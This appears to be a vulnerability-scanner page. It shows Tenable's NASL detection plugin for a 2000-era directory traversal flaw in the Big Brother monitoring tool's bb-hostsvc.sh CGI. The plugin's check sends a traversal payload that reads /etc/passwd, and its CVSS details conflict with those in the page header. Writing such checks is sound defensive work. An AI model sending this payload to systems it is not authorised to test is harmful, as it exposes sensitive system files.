CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
EPSS
Percentile
93.2%
The version of Big Brother running on the remote host is affected by a directory traversal vulnerability in the ‘HOSTSVC’ parameter of the ‘bb-hostsvc.sh’ CGI. A remote attacker can exploit this to read sensitive information from the system.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if(description)
{
script_id(10460);
script_bugtraq_id(1455);
script_version("1.34");
script_cve_id("CVE-2000-0638");
script_name(english:"Big Brother bb-hostsvc.sh 'HOSTSVC' Parameter Traversal Arbitrary File Access");
script_summary(english:"Read arbitrary files using the CGI bb-hostsvc.sh.");
script_set_attribute( attribute:"synopsis", value:
"A web application running on the remote host is affected by a
directory traversal vulnerability." );
script_set_attribute( attribute:"description", value:
"The version of Big Brother running on the remote host is affected by a
directory traversal vulnerability in the 'HOSTSVC' parameter of the
'bb-hostsvc.sh' CGI. A remote attacker can exploit this to read
sensitive information from the system." );
script_set_attribute(
attribute:"see_also",
value:"https://seclists.org/bugtraq/2000/Jul/167"
);
script_set_attribute(
attribute:"solution",
value:"Upgrade to Big Brother 1.4h or later."
);
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:W/RC:C");
script_set_attribute(attribute:"plugin_publication_date", value: "2000/07/12");
script_set_attribute(attribute:"vuln_publication_date", value: "2000/07/11");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_family(english:"CGI abuses");
script_copyright("This script is Copyright (C) 2000-2021 Tenable Network Security, Inc.");
script_dependencie("find_service1.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
exit(0);
}
#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
foreach dir (cgi_dirs())
{
url = string(dir, "/bb-hostsvc.sh?HOSTSVC=../../../../../etc/passwd");
res = http_send_recv3(method:"GET", item:url, port:port);
if (isnull(res)) exit(0);
if(egrep(pattern:"root:.*:0:[01]", string:res[2]))
{
security_warning(port);
exit(0);
}
}